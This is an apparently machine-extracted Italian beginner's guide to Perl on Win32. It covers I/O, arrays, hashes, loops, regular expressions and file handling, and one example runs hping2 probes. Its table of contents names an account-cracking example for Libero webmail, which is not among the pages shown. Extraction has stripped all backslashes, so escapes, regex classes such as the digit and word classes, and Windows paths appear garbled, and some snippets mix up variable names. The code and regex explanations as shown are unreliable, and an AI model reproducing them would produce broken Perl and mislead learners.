SlideShare une entreprise Scribd logo
1  sur  46
Télécharger pour lire hors ligne
LUIGI CAPUZZELLO

Perl
Guida per principianti
Versione: 1.0

Luigi Capuzzello
09/12/2013

http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello

Breve guida introduttiva alla programmazione in Perl.
Guida al Perl per Win322

Sommario
Guida al Perl per Win32.......................................................................................................................5
I. Introduzione..................................................................................................................................5
eq ==.............................................................................................................................................5
ne !=..............................................................................................................................................5
Esempi Utili: eseguire comandi da riga di comando....................................................................5
Esempi Utili: prendere input da <STDIN>..................................................................................6
II. Array............................................................................................................................................7
Viene creato..................................................................................................................................7
Per accedere ad uno degli elementi .............................................................................................7
Per copiare un array in un altro ...................................................................................................7
$#array -Size dell’array..............................................................................................................7
Push e Pop....................................................................................................................................7
Shift e Unshift...............................................................................................................................7
Sort e Reverse...............................................................................................................................8
foreach..........................................................................................................................................8
III. Creare uno Hash.........................................................................................................................9
Per creare uno Hash .....................................................................................................................9
Per prelevare un valore ................................................................................................................9
keys -Per estrarre tutte le chiavi ................................................................................................9
values -Per estrarre tutti i valori .................................................................................................9
each -Per estrarre una copia chiave-valore ................................................................................9
delete -Per eliminare una copia chiave – valore........................................................................10
exists -Per verificare l'esistenza di una chiave .........................................................................10
IV. Istruzioni Decisionali...............................................................................................................11
if – elsif.......................................................................................................................................11
unless .........................................................................................................................................11
? -operatore ternario..................................................................................................................11
&& || -operatori and e or............................................................................................................11
V. Istruzioni Iterative......................................................................................................................12
while...........................................................................................................................................12
until.............................................................................................................................................12
next, last, redo.............................................................................................................................12
do ... while – do … until.............................................................................................................12
Istruzione for..............................................................................................................................12
istruzione foreach.......................................................................................................................13
VI. Espressioni Regolari.................................................................................................................14
d D w W s S ........................................................................................................................14
[] -Classi ...................................................................................................................................14
Moltiplicatore (parola da cercare){min,max}............................................................................14
? -Operatore che rende inerte il linguaggio...............................................................................15
$1 $2 $3 -Memorizzazione delle corrispondenze......................................................................15
1 2 -Altri simboli speciali:......................................................................................................16
?: -Simbolo speciali...................................................................................................................16
$& $` $’ – Simboli speciali......................................................................................................16
^ $ b B -Asserzioni...................................................................................................................16
?= ?! -lookahead positivo e negativo........................................................................................17
| -Alternative..............................................................................................................................17
Luigi Capuzzello
Guida al Perl per Win323

Precedenze tra operatori.............................................................................................................17
Interpolazione di variabili...........................................................................................................17
/i -Ignora il case.........................................................................................................................17
l u L U E -Maiuscolo e Minuscolo........................................................................................17
/…/g -Matching Globale...........................................................................................................18
s/…/…/ -Operatore di sostituzione............................................................................................18
tr/…/…/ -Operatore di traduzione.............................................................................................18
split.............................................................................................................................................18
join..............................................................................................................................................19
Esempi pratici.............................................................................................................................19
VI. File e Directory.........................................................................................................................20
Copiare un File in un altro..........................................................................................................20
Seek............................................................................................................................................20
La funzione di Globbing.............................................................................................................21
Aprire file binari.........................................................................................................................21
Test sui file.................................................................................................................................21
Eliminare un File........................................................................................................................22
Rinominare un File.....................................................................................................................23
Modifica dei permessi di un File................................................................................................23
Cambiare la directory.................................................................................................................23
Aprire una Directory, leggere i File e chiudere una Directory...................................................23
Creare e Cancellare una Directory..............................................................................................23
VII. Variabili Speciali....................................................................................................................24
$_ -variabile di default ............................................................................................................24
$#array -Size dell’array............................................................................................................24
$$ $< $0 $! $? $@ -variabili sullo stato del programma........................................................24
ARGV -variabili passate al mio script.....................................................................................24
%ENV -varaibili d’ambiente....................................................................................................24
VIII. Variabili Speciali...................................................................................................................25
Dichiarazione di funzioni...........................................................................................................25
Passare dati a una funzione.........................................................................................................25
Utilizzare una funzione...............................................................................................................25
local -Dichiarazione di variabili locali......................................................................................25
IX. Web Automation......................................................................................................................26
LWP: classi principali................................................................................................................26
HTTP::Response -Metodi principali..........................................................................................26
Aggiungere HTTP Request Header............................................................................................26
Cookies.......................................................................................................................................26
Effettuare un POST....................................................................................................................27
Effettuare un GET......................................................................................................................27
Usare PROXY............................................................................................................................28
HTTPS........................................................................................................................................28
HTTP Authentication.................................................................................................................28
Pagine di grosse dimensioni.......................................................................................................29
Esempio riepilogativo: Accedere al Sy@net con User e Password...........................................29
Esempio riepilogativo: Craccare gli account di Libero..............................................................31
Riferimenti:.................................................................................................................................32
IX. CGIPerl...................................................................................................................................33
Installazione dell’ambiente.........................................................................................................33
Parallel::ForkManager 0.7..............................................................................................................34
Installazione del modulo ............................................................................................................34
Luigi Capuzzello
Guida al Perl per Win324

NAME .......................................................................................................................................34
SYNOPSIS ................................................................................................................................34
DESCRIPTION .........................................................................................................................34
METHODS ................................................................................................................................34
CALLBACKS ...........................................................................................................................35
EXAMPLE: Parallel get ............................................................................................................35
Callbacks ...................................................................................................................................36
BUGS AND LIMITATIONS ....................................................................................................36
Appendice A. Elenco delle funzioni...............................................................................................37
Appendice A. Elenco delle funzioni per argomento.......................................................................42
Funzioni aritmetiche ..................................................................................................................42
Funzioni di conversione ............................................................................................................42
Funzioni su stringhe .................................................................................................................43
Funzioni su array e liste ............................................................................................................43
Funzioni su file e directory ........................................................................................................45
Funzioni di Input/Output ...........................................................................................................45

Luigi Capuzzello
Guida al Perl per Win325

Guida al Perl per Win32
1.

Per installare il compilatore Perl usare ‘ActivePerl-5.8.7.813-MSWin32-x86-148120.msi’.

2.

Una volta installato posso utilizzare il compilatore Perl da riga di comando usando:
c:>perl c:Hallo.txt
dove Hallo.txt contiene i comandi Perl da eseguire.

I. Introduzione.
print ("Ciao come ti chaimi?n");
$nome=<STDIN>;
chomp($nome);
print ("Ciao $nome n");
if ($name eq "luigi") {
print "Proprio un bel nomen";
} else {
print "Hello, $name!n";
}

#scrive sullo STDOUT
#prende un valore dallo STDIN
#toglie da $nome il carattere NewLine
#stampa la variabile
#Costrutto if then else

eq ==
Compara due stringhe e dice che sono uguali solamente se ogni singolo carattere dell’una corrisponde all’altra e la
lunghezza è la stessa.
$secretword = "gecko";
# the secret word
print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name eq "Erik") {
print "Hello, Erik! How good of you to be here!n";
} else {
print "Hello, $name!n"; # ordinary greeting
print "What is the secret word? ";
$guess = <STDIN>;
chomp $guess;
while ($guess ne $secretword) {
print "Wrong, try again. What is the secret word? ";
$guess = <STDIN>;
chomp $guess;
}
}

#While

ne !=
Restituisce TRUE se le stringhe sono diverse.

Esempi Utili: eseguire comandi da riga di comando.
Basta usare la notazione qx/ <comando> /.
Ad esempio se voglio lanciare un hping2.
#Metto nell’array @res tutte le righe passate da hping2 (parametrizzato con $i e $IP)
my @res=qx/hping2 -1s -2 -t $i $IP -n -c 2 -p 53 2>&1/;
# Ogni riga restituita da hping viene passata a $line
foreach my $line (@res){
#Salvo i risultati in un file
$outfile =”c:out.txt”
open (OUT,"+>>$outfile") || die "Cant create output filen";
print OUT "$lowerbound-$upperboundn";

Luigi Capuzzello
Guida al Perl per Win326

close (OUT);
}

Esempi Utili: prendere input da <STDIN>.
Basta:
print "Quanti punti ha totalizzato l'Italia, nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
if ($punti == 9)
{

Luigi Capuzzello
Guida al Perl per Win327

II. Array
Viene creato
in due modi identici:
@words = ("camel","gecko","alpaca");
@words = qw(camel gecko alpaca);
@a =
$a[0]
$a[1]
$a[2]
$a[3]
$a[7]

();
="a1
="a2
="a3
="a4
="a8

";
";
";
";
";

Per accedere ad uno degli elementi
è sufficiente fare così:
$words[0] is camel;
$words[1] is gecko;
$words[2] is alpaca.
La variabile array restituisce il numero di elementi dell’array e se usata direttamente nel prit da l’elenco dei nomi che
contiene. Ad esempio:
@collaboratori=('Fabio', 'Davide', 'Alessandro', 'Salvatore');
$c=@collaboratori;
print "Io, Giordano ho $c collaboratori, ed insieme cerchiamo di dare corpo al nostro siton";
print "i miei $c collaboratori si chiamano @collaboratorin";

Per copiare un array in un altro
basta fare così:
@NuovoArray=@VecchioArray
se invece faccio così:
@A1 = (‘1’,’2’);
@A2 = (‘3’,’4’);
@A3 = (@A1,@A2);
Allora @A3 NON è un Array di Array ma un Array costituito dalla somma dei valori di @A1 e @A2 cioè:
@A3 = (‘1’,’2’, ‘3’,’4’);

$#array

-Size dell’array

Restituisce il numero di elementi di un array

Push e Pop
Gli array possono essere visti come uno stack di valori per cui per inserire un nuovo elemento nell’array posso usare
push:
push(@a,'Giordano');
Per togliere un elemento dall’array posso usare pop:
@a= qw(1 2 3 4 5);
$cinque=pop(@a);
print "Hai estratto da @a il numero $cinquen";

Shift e Unshift
Sono come push e pop ma inserisco e tolgono elementi dell’array dalla coda (ossia dalla parte sinistra) dell’array. In
questo caso Shift = Pop e Unshift = Push.
Esempio:

Luigi Capuzzello
Guida al Perl per Win328

@az=(1,2,3,4,5);
shift @az;
print "@azn";
# varrà (2,3,4,5)
unshift(@az,7,9,6,1,0,-5);
print "@azn";
# varrà (7,9,6,1,0,-5,2,3,4,5)

Sort e Reverse
Consentono di ordinare in modo crescente (sort) o decrescente (Reverse) un determinato array. Nel caso di array
alfanumerici l’array sarà ordinato comunque in ordine alfabetico. Esempio:
@a= qw(Luigi Camilla Leda Checco Vale);
@b=sort(@a);
@c=reverse(@a);
print "Array originale: @an";
print "Array ordinato: @bn";
print "Array invertito: @cnn";

foreach
Con questo semplice esempio è possibile processare ogni singolo elemento di @settimana applicando la funzione
foreach alla variabile scalare $festa la quale si occuperà di processare i valori dell'array al solo interno del blocco
foreach, rappresentato tra le parentesi graffe, e non anche all'esterno, dove la variabile $festa riprende il suo valore
predefinito. Il risultato dovrebbe assomigliare a questo:
@settimana =('lunedì','martedì','mercoledì','giovedì','venerdì','sabato');
$festa=domenica;
foreach $festa (@settimana)
{
print "$festa: giorno ferialen"
}
print "n$festa: giorno di riposo";
Questo esempio restituisce
lunedì: giorno feriale
martedì: giorno feriale
mercoledì: giorno feriale
giovedì: giorno feriale
venerdì: giorno feriale
sabato: giorno feriale
domenica: giorno di riposo

Luigi Capuzzello
Guida al Perl per Win329

III. Creare uno Hash

Uno Hash è una tabella di elementi chiave – valore.

Per creare uno Hash
è necessario fare così:
%numero = qw(
1
uno
2
due
3
tre
4
quattro
);
Altra possibilità consiste nell’utilizzare il simbolo => che evidenzia maggiormente il legame chiave => valore.
%girA=(
Portogallo =>6,
Inghilterra => 3,
Germania => 1,
Romania => 1
);

Per prelevare un valore
posso fare riferimento alla sua chiave:
print "Estraggo il numero $numero{1}n"
oppure utilizzo una variabile d’appoggio:
$puntPR = $girA{Portogallo} ;
print $puntPR;

keys

-Per estrarre tutte le chiavi

dalla variabile Hash si utilizza la parola chiave keys.
%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
@sigle=keys(%settimana);
print "@siglen";
Attenzione la parola chiave keys non restituisce le chiavi nell’ordine in cui sono state inserite!

values

-Per estrarre tutti i valori

dalla variabile Hash si utilizza la parola chiave values.
%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
@day=values(%settimana);
print "@dayn";
Attenzione la parola chiave keys non restituisce le chiavi nell’ordine in cui sono state inserite!

each

-Per estrarre una copia chiave-valore

posso usare il parola chiave each

Luigi Capuzzello
Guida al Perl per Win3210

%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
($chiave, $valore)=each(%settimana);
print "$chiave - $valoren";
Anche in questo caso l’ordine di estrazione delle copie è causale pertanto posso inserire l’estrazione in un ciclo while
%settimana=(
Lun=>feriale,
Mar=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
while(($chiave, $valore)=each(%settimana))
{
print "Il giorno di $chiave è $valoren";
}

delete

-Per eliminare una copia chiave – valore

elimino il lunedì dai giorni della settimana
delete($settimana{Lun});

exists

-Per verificare l'esistenza di una chiave

all'interno di un hash si usa la funzione exists.
%settimana=(
Lun=>feriale,
Mer=>feriale,
Gio=>feriale,
Ven=>feriale,
Sab=>feriale,
Dom=>festivo
);
print "esiste Marn" if exists $settimana{Mar};
Il messaggio viene scritto solo se esiste la chiave Mar.

Luigi Capuzzello
Guida al Perl per Win3211

IV. Istruzioni Decisionali
if – elsif
è il principale costrutto decisionale è il costrutto
print "Quanti punti ha totalizzato l'Italia, nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
if ($punti == 9)
{
print " con $punti punti siamo dei campionin"
}
elsif ($punti >= 6)
{
print "con $punti punti non siamo affatto malen"
}
elsif ($punti > 3)
{
print "con $punti punti dobbiamo migliorare molton"
}
else
{
print "con $punti punti facciamo proprio schifon"
}
questo costrutto può essere sostituito con un costrutto più semplice da visualizzare
print "Quanti punti ha totalizzato l'Italia,";
print " nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
print "con $punti punti siamo dei campionin"
if $punti == 9;
print "con $punti punti non siamo affatto malen"
if $punti>=6 and $punti<9;
print "con $punti punti dobbiamo migliorare molton"
if $punti>=3 and $punti<6;
print "con $punti punti facciamo proprio schifon"
if $punti>0 and $punti<3;

unless
L’operatore unless (che tradotto vuole dire ‘se non è’) corrisponde ad un if not
print "Quanti punti ha totalizzato l'Italia,";
print " nel primo girone di qualificazione?n";
$punti=<STDIN>;
chomp($punti);
unless ($punti < 0)
{
print "Avere $punti punti è sempre meglio di 0n"
}

?

-operatore ternario

Consente di essere concisi nelle clausole if – else
print (Inserisci la tua altezza in metri);
$altezza =<STDIN>;
chomp($altezza);
($altezza > 1.55) ? (print "Con l'altezza di $altezza, puoi dire di essere alto!") :
(print "Con l'altezza di $altezza, non puoi dire di essere alto!");

&& || -operatori and e or
possono essere usati anche con questa accezione
$altezza="1.86";
($altezza > "1.55") && (print "Sei alto!");
($altezza > "1.55") || (print "Sei basso!");

Luigi Capuzzello
Guida al Perl per Win3212

V. Istruzioni Iterative
while
$a=3;
while ($a < 9){
$a++;
print "$an";
}
esiste anche una forma abbreviata per fare la stessa cosa. È la stessa sintassi usata per if e unless
$a=3;
print "$an" while $a++ <9;

until
$a=3;
until ($a > 10){
print "$a non soddisfa ancora la condizionen";
$a++;
}
print "$a soddisfa la condizionen";

next, last, redo
next: interrompe l'esecuzione del gruppo di istruzioni e riprende dalla valutazione della condizione
last: esce definitivamente dal ciclo `while' senza curarsi del gruppo di istruzioni
redo: ripete il ciclo, senza valutare e verificare nuovamente l'espressione della condizione, e senza curarsi del gruppo
di istruzioni
$a=3;
while ($a > 0){
if ($a == 30){
last;
}
print "$an";
$a++;
}

do ... while – do … until
Stesso comportamento di while e until ma l’espressione è valutata dopo.
$a=1;
do{
print "$an";
$a++;
}
while ($a < 30);

Istruzione for
Ha la stessa sintassi del C
for ($a=0;$a<10;$a++){
print '$a='."$a non soddisfa la condizione ".'$a<'."10n";
}

Luigi Capuzzello
Guida al Perl per Win3213

istruzione foreach
Come già detto viene usato soprattutto nelle operazioni con i vettori
$a=131;
$b=3;
@a=(2,3,4,5,6,7);
foreach $a (@a)
# però all'interno di un istruzione foreach
# possiamo associare lo scalare $a all'array
# @a senza variare il valore dello stesso al
# di fuori del blocco, sarebbe stata la stessa
# se avessimo utilizzato lo scalare $b
{
$a=$a+$b;
# non facciamo altro che incrementare di tre
# ogni valore di @a
print "$an";
}
print "------n$an";
# se chiedete di stampare $a fuori dal blocco
# foreach il suo valore tornerà ad essere di 131

Luigi Capuzzello
Guida al Perl per Win3214

VI. Espressioni Regolari

Per confrontare due stringhe e valutare se siano uguali si usa l’operatore =~ seguito dal carattere m (match) che in
realtà se omesso viene sottinteso.
Nell’esempio che segue controlliamo se nella stringa $a è presente la parola <piace>:
$a="Ma quanto mi piace programmare in Perl";
if($a =~ m/piace/){
print "Ho trovato 'piace'n"
}
else{
print "Non ho trovato 'piace'n"
}

d D w W s S .
Esistono anche alcuni tipi di caratteri speciali che consentono di fare ricerche più sofisticate:
o d cioè una qualunque cifra tra 0 e 9;
o D cioè un qualunque carattere che non sia una cifra tra 0 e 9;
o w cioè un qualunque carattere tra a e z, A e Z, 0 e 9;
o W cioè un qualunque carattere che non sia compreso tra a e z, A e Z, 0 e 9;
o s cioè un generico carattere di spazio (vengono considerati caratteri
spaziatrici anche i costruttori n, r, t, f)
o S cioè un generico carattere che non sia di spazio
o . Il carattere punto "." indica un qualunque simbolo nell'insieme dei caratteri è come il carattere ‘*’
Esempio:
$a="Ma quanto mi piace programmare in Perl5.00";
if($a =~ /Perld/){
print "1: Sarà soddisfatta n"
}
if($a =~ /insPerld/){
print "2: Sarà soddisfattan"
}
if($a =~ /inwPerl/){
print "3: Non sarà Soddisfatta n"
}

[]

-Classi

Al posto dei tipi di caratteri speciali posso usare le classi tra parentesi quadre senza dipendere da classi standard.
All’interno della classe indico:
valori puntuali indicandoli uno a fianco all’altro;
intervalli indicandoli con il ‘-‘.
Un esempio di classe corretta :
[03-69a-grst@#?!$£]
anche questa è una classe corretta e non fa altro che verificare l'esistenza di un carattere 0 oppure tra 3 e 6 poi il 9,
poi tra 'a' e 'g' ecc. ecc.
[a-z0-3-]
Per mettere nella classe il simbolo ‘-‘ devo usare ‘-‘:
Posso anche indicare i caratteri che non ci devono essere in una stringa con l’operatore ‘^’.
Nell’esempio che segue viene controllato che dopo Apache non segua un 3 o un 4.
$a="Apache3000 è un bel sito";
if($a =~ /Apache[^34]/){
print "tutto ok, niente 3n"
}
else{
print "peccato ho trovato il 3n"
}

Moltiplicatore (parola da cercare){min,max}.
Nelle espressioni regolari può capitare di cercare un carattere o una parola che si ripetono più volte. Per farlo si usa il
moltiplicatore.

Luigi Capuzzello
Guida al Perl per Win3215

min: indica il numero minimo di evenienze della lettera o della parola che si devono verificare;
max: indica il numero massimo di evenienze della lettera o della parola che si devono verificare;

/cavallo {1,3}w/ # Verifica "cavallo pazzo", "cavallo pazzo",
# ma non verifica "cavallone". Il carattere che
# viene esaminato è quello di spazio vuoto
/(cavallo){1,3}w/ # Verifica "cavallone", ma non verifica
#" cavallo pazzo". Il carattere che
# viene esaminato è la sequenza di caratteri
# compresi all'interno delle parentesi tonde

Esistono anche queste abbreviazioni.
{min,}
il numero di occorrenze del carattere deve essere almeno min
{tot}
verifica la corrispondenza del carattere tot volte
*
equivalente a {0,}, cioè da zero occorrenze in su
+
equivalente a {1,}, almeno una occorrenza
?
equivalente a {0,1}, una occorrenza al massimo
Attenzione:
nel valutare le espressioni con moltiplicatore il programma è ingordo.
Cerca prima di verificare la specifica maggiore del moltiplicatore scansionando l’espressione da sinistra verso destra.
Se arrivando in fondo non verifica la direttiva passa a quella meno stringente e così via.
Esempio:
/.*bollo/
Essa rappresenta un numero qualsiasi di caratteri, eventualmente zero, seguiti dalla sequenza "bollo". Vediamo ora
come si comporta il programma per verificare questa espressione regolare.
Per prima cosa si colloca sulla prima posizione della stringa. Poi guarda l'espressione regolare e vede che inizia con
".*" cioè un numero qualsiasi di caratteri a piacere escluso n. Siccome il motore è ingordo, quel "numero qualsiasi di
caratteri" per lui è tutti i caratteri possibili della stringa e quindi si posiziona in fondo alla stringa.
Essendosi posizionato in fondo alla stringa è chiaro che non riuscirà a verificare l'espressione: non c'è ovviamente
spazio in fondo alla stringa per "bollo". Allora decide d'indietreggiare di un passo posizionandosi sul penultimo
carattere della stringa. Anche in questo caso non c'è posto per "bollo", al massimo ci sarebbe spazio per il primo
carattere, "b", continuando così a indietreggiare finché o trova "bollo", ma ho lo trova nella posizione più a destra
possibile nella stringa oppure non lo trova affatto.

?

-Operatore che rende inerte il linguaggio

Utilizzando l’operatore ‘?’ otteniamo la variante pigra dei moltiplicatori.
{min, max}? - prima prova min e poi incrementa fino a max
{n, }?
- prima prova n e poi incrementa
{n}?
- uguale alla versione ingorda
*?
- prima prova zero e poi incrementa
+?
- prima prova 1 e poi incrementa
??
- prima prova 0 e poi 1

$1 $2 $3

-Memorizzazione delle corrispondenze.

Le parentesi, oltre alla funzione di creare insiemi di elementi, hanno anche la funzione di riempire variabili speciali.
Infatti se e solo se un’espressione regolare è verificata allora vengono generate delle variabili $1 $2 $3… che
conterranno il valore contenuto in tutte le copie di parentesi inserite nell’espressione regolare.
print "Inserisci una data valida del tipon";
print "XXXXXXXX e premi invionn";
chomp($data=<STDIN>);
if($data =~ /(..)/(..)/(....)/)
{
print "gg: $1n";
print "mm: $2n";
print "aa: $3n";
}

Luigi Capuzzello
Guida al Perl per Win3216

else
{

print "Formato data errato";

}
Oppure posso prelevare un tag HTML indicandolo come una qualsiasi sequenza di caratteri che inizia con < finisce con
> e ha al suo interno almeno un carattere:
chomp($tag_html = <STDIN>);
if($tag_html =~ /<(.+)>/)
{
print "Tag: $1n";
}

1 2

-Altri simboli speciali:

Anche i simboli 1 2 … come $1 $2… contengono i valori indicati nelle parentesi; ma li posso usare direttamente nelle
espressioni regolari.
/vado(.+?)al1mare/
In questo esempio 1 conterrà il valore indicato da (.+?). Risultano pertanto valide le seguenti espressioni:
vado-al-mare
vado al mare
non valide queste altre:
vado-al mare
vado al mare

?:

-Simbolo speciali

Serve per impedire di memorizzare nelle variabili $1 $2 il valore delle esperessioni nelle (). Questo per risparmiare
spazio in memoria qualora non serva tale valore.
/(?:aeiou)+/
cerco tutte le espressioni che abbiano almeno una sequenza ‘aeiou’ ma non memorizzo il valore in $1

$& $` $’ – Simboli speciali
$&
$`
$'

contiene la sezione di stringa che verifica l'espressione
contiene la sezione di stringa che precede quella che verifica l'espressione
contiene la sezione di stringa che segue quella che verifica l'espressione

$a="Italia batte in rete all'Olanda";
$a=~ /rete/;
print "esiste: $& n";
print "prima: $` n";
print "dopo: $' n";
ha come risultato:
esiste: -reteprima: -Italia batte in dopo: - all'Olanda-

^ $ b B

-Asserzioni

Servono ad identificare particolari sezioni all'interno di una stringa, come l'inizio, la fine o i confini di una parola (con
confine di una parola si intende un qualsiasi punto che abbia da una parte un carattere parola w e dall’altro un
qualsiasi carattere non parola W).
^
indica l'inizio della stringa
$
indica la fine della stringa
b
indica il confine di una parola ("b" sta per boundary)
B
indica ogni punto che non sia confine di parola

Luigi Capuzzello
Guida al Perl per Win3217

Per verificare tutte le stringhe che iniziano per italia
/^Italia/
Per verificare tutte le stringhe che finiscono per italia
/Italia$/
/bmareb/
verifica "andiamo al mare", "un giorno al mare", ma non verifica "maremoto" né "altamarea".

?= ?!

-lookahead positivo e negativo

Il lookahead positivo e negativo sono espressioni che devono essere verificate solo nella posizione in cui sono inserite.
?=
lookahead positivo
?!
lookahead negativo
/Italia(?=s+vincente)/
Questa espressione regolare verifica la stringa "Italia" solo se questa è seguita da almeno uno spazio, e dopo lo spazio
si trova la stringa "vincente".

|

-Alternative

L’operatore | serve a costruire delle alternative.
/Tizio|Caio|Sempronio/
Valuta se nella mia espressione compare almeno uno dei tre nomi.

Precedenze tra operatori
Parentesi
( ) (?: )
Moltiplicatori
? + * {m,n} {n,} {n} ?? +? *?
Sequenza e asserzioni
Abc ^ $ b B (?= ) (?! )
Alternativa
|

Interpolazione di variabili
È possibile utilizzare delle variabili all’interno di espressioni regolari. Ad esempio:
$a = 'Caio';
$_ = 'Caio, Sempronio e Pincopallino';
m/^$a/;
In questo caso l’epsressione regolare corrisponde a m/^Caio/;

/i

-Ignora il case

Per ignorare il case all’interno di un’espressione regolare uso i
$a="Ormai è estate e la domenica si va a mare";
if(
$a=~/DoMEnICa/i)
{print "trovaton";
}
else{
print "non trovaton";
}

l u L U E

-Maiuscolo e Minuscolo

l poni in minuscolo il prossimo carattere
u poni in maiuscolo il prossimo carattere

Luigi Capuzzello
Guida al Perl per Win3218

L tutto minuscolo fino al prossimo E
U tutto maiuscolo fino al prossimo E

/…/g

-Matching Globale

Appena un’espressione regolare viene verificata, il controllo sul resto della stringa viene tralasciato. Il matching globale
serve proprio a continuare nella valutazione della stringa.

s/…/…/

-Operatore di sostituzione.

La sintessi dell’operatore di sostituzione è la seguente:
s/espressione-regolare/sostituzione/
Ad esempio:
$a= "Io e Fabio siamo amici da sempre";
print "$an";
$a =~ s/Io e Fabio siamo/Fabio e Rocker non sono/;
print "$an";
$a =~ s/$a/Ma e come se lo fossero!/;
print "$an";
$a =~ s/!/. La stessa cosa vale anche con Alessandro./;
print "$an";
$a =~ s/$a/Salvatore invece è un po' fetente./;
print "$an";
print "nFine :)";
oppure
$a= "La farfalla";
print "$an";
$a =~ s/[a]/@/g;
print "$an";
si ottiene L@ f@rf@ll@

tr/…/…/

-Operatore di traduzione

L'operazione di traduzione tr risolve facilmente casi difficili da affrontare con la sostituzione quali ad esempio sostituire
tutte le "a" di una stringa con delle "o", e tutte le "o" con delle "i". Usa la sintassi:
tr/caratteri-da-cercare/caratteri-da-sostituire/
Ad esempio per sostituire tutte le lettere minuscole con le relative lettere maiuscole uso:
tr/a-z/A-Z/
$a= "La farfalla";
print "$an";
$b = $a =~ tr/a-z/A-Z/;
print "$an";
$a =~ s/[A]/@/g;
print "$an";
print "------------nn";
$c= "La farfalla e l'elefante";
print "$cn";
$d = $c =~ tr/a,e/e,a/;
print "$cn";
print "nFine";

split
split(espressione_regolare,variabile_target,numero_elementi);
dove:

Luigi Capuzzello
Guida al Perl per Win3219

espressione_regolare

è l'espressione che se verificata crea le divisioni.
Se non specificata l'espressione di default è /s+/ la sequenza di spazi.

variabile- target

è il nome della variabile su cui applicare split.
Se non specificata split viene applicato a $_

numero-elementi

è il numero massimo di elementi in cui si vuole spezzare la stringa.

Ad esempio:
$_ = "uno due tre quattro cinque";
@numeri = split;
print "@numeri";
$testo = 'uno:due:tre:quattro:';
@numeri = split(/:/,$testo,2);

join
Se la funzione split serve a spezzare gli elementi di una stringa in un array, la funzione join li rincolla.
$a='-';
@b=('uno', 'due', 'tre');
$incollaggio=join($a, @b);
Ottengo $incollaggio=uno-due-tre

Esempi pratici
Per recuperare un indirizzo IP l’espressione regolare potrebbe essere questa
/s*(d{1,3}).(d{1,3}).(d{1,3}).(d{1,3})s*/

Luigi Capuzzello
Guida al Perl per Win3220

VI. File e Directory
Copiare un File in un altro
Supponiamo di creare i file uno.txt e due.txt e di voler copiare il contenuto di uno.txt in due.txt.
$uno='c:proveuno.txt';
$due='c:provedue.txt';
open(a, "<$uno") or die "Non apre uno.txt";
# con l'istruzione open chiediamo di aprire
# il file valorizzato in $uno che identificheremo
# un nome a piacere, in questo caso 'a'
# il carattere '<' indica che il file è di
# sola lettura, ma è anche possibile ometterlo
# in quanto se non specificato, il programma
# lo inserisce di default, gli operatori
# 'or' e 'die' sono molto importanti e ci
# permettono di uscire dal programma nel caso
# non si riesca ad individuare il file da
# cercare, restituendoci una frase a piacere.
open(b, ">$due") or die "Non apre due.txt";
# apro due.txt in sola scrittura
while($riga=<a>){
print b $riga;
}
# con l'istruzione while, chediamo
# di stampare tutte le stringhe contenute
# in 'a'in 'b', dove 'a' identifica $uno,
# e 'b' identifica $due
close(a);
close(b);

L’operatore binario <> prende una stringa di caratteri fino a /n incluso; il fine file viene preso come terminatore
dell’ultima riga.
I modi per aprire un file sono i seguenti:
Sola lettura:
open( A, '<nome_file' ) oppure open(A, 'nome_file' )
Sola scrittura:
open(A, '>nome_file')
Append:
open(A, '>>nome-file')
Lettura e scrittura:
open(A, '+<nome file')
Scrittura e lettura:
open(A, '+>nome-file')
Append e lettura:
open(A, '+>>nome-file')

Seek
Serve per posizionarsi all’interno di un file una volta aperto. La sintassi si seek è la seguente:
descrittore
è il descrittore del file.
numero-di-byte

numero di byte di cui ci si vuole spostare nel file a partire dal riferimento.

riferimento

Vale:
- 0 per inizio file;
- 1 se siamo nel mezzo del file (nel qual caso numero_di_byte può essere espresso
da un numero negativo);
- 2 per la fine del file.

Ecco alcuni esempi:
$uno='c:proveuno.txt';
open(a,'+<uno.txt') or die "non riesco ad aprire il file";
seek(a,0,2); # posiziona il cursore in fondo al file
print a "n Giordano Costantini"; #firma il file
close(a);
$aaa='c:provetre.txt';
open(a, '+>tre.txt') or die "non trovo il file";
print a "Come son contenton";
print a "finalmente sto imparando molte cosen";
print a "sul Perl e la sua semplicità d'impiego";
seek(a, 0, 0); # posiziona il cursore all'inizio del file

Luigi Capuzzello
Guida al Perl per Win3221

print while<a>; # visualizza il file
close(a);

La funzione di Globbing
Serve per caricare tutti i file della cartella corrente all’interno di un array. Posso usare un metodo sbrigativo:

@a = <*.txt>;
print "@an";
oppure per non generare confusione con il simbolo ‘*’ usato nelle espressioni regolari posso usare:

@a = glob("*.txt");
print "@an";
o ancora:

$a="*.txt ";
@a =glob $a;
print "@an";

Aprire file binari
Per alcuni SO non vi è differenza tra un file binario e uno testuale; per altri, come Windows, vi è; quindi occorre aprirli
in maniera differente.

open(a, 'pippo.gif') or die "Non riesco ad aprire pippo";
binmode(a);
read(a, $buf, 1024);
dove read ha la seguente sintassi:
read(descrittore, variabile-buffer, numero_byte);
-

'descrittore' è il descrittore di file da cui leggere;
'variabile-buffer' è la variabile a cui assegnare i prossimi byte letti;
'numero-byte' stabilisce quanti byte alla volta leggeremo con la byte.

open(a, 'c:/prove/ligabue.mp3') or die 'Non riesco ad aprire il file';
open(b,'>c:/prove/Battiato.mp3');
binmode(a);
binmode(b);
while(read(a, $buf, 100)){
print b $buf;
}

Test sui file
Una volta aperto un file posso fare diversi test

open(a, 'c:/prove/ligabue.mp3') or die 'Non riesco ad aprire il file';
if(-e a){
print "Il file esisten";
}
else{
print "Non esiste il filen";
}
Ecco tutti i possibili test:

Operatore di test

Significato

Windows (s/n)

-r

File leggibile da uid/gid effettivo

s

-w

File scrivibile da uid/gid effettivo

s

-x

File eseguibile da uid/gid effettivo

s

Luigi Capuzzello
Guida al Perl per Win3222

